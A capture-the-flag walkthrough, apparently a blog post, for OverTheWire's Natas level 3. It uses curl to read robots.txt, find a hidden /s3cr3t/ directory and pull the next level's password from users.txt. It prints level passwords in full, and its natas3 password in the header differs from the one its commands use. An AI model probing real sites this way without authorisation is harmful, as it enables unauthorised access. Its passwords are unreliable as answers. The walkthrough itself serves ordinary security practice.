Username: natas3
Password: h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7
URL: http://natas3.natas.labs.overthewire.org
Again? Liars! Let’s View Page Source, again…
1
curl -i -X GET -u natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q http://natas3.natas.labs.overthewire.org
==> Results
1
2
3
4
5
6
7
<body>
<h1>natas3</h1>
<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->
</div>
</body>
Not even Google will find it this time… is our hint here.
Link referen:
Curl /robots.txt
1
curl -i -X GET -u natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q http://natas3.natas.labs.overthewire.org/robots.txt
==> Results
1
2
User-agent: *
Disallow: /s3cr3t/
Look: Disallow: /s3cr3t/
1
curl -X GET -u natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q http://natas3.natas.labs.overthewire.org/s3cr3t/
==> Results
1
2
3
4
5
6
<table>
...
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td> </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="users.txt">users.txt</a></td><td align="right">2023-04-23 18:01 </td><td align="right"> 40 </td><td> </td></tr>
...
</table>
users.txt is the only file can read
1
2
3
4
curl -X GET -u natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
==> Results
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
Alright, i got the password! Moving on to level 4!
==> CTF: { natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm }
Comments powered by Disqus.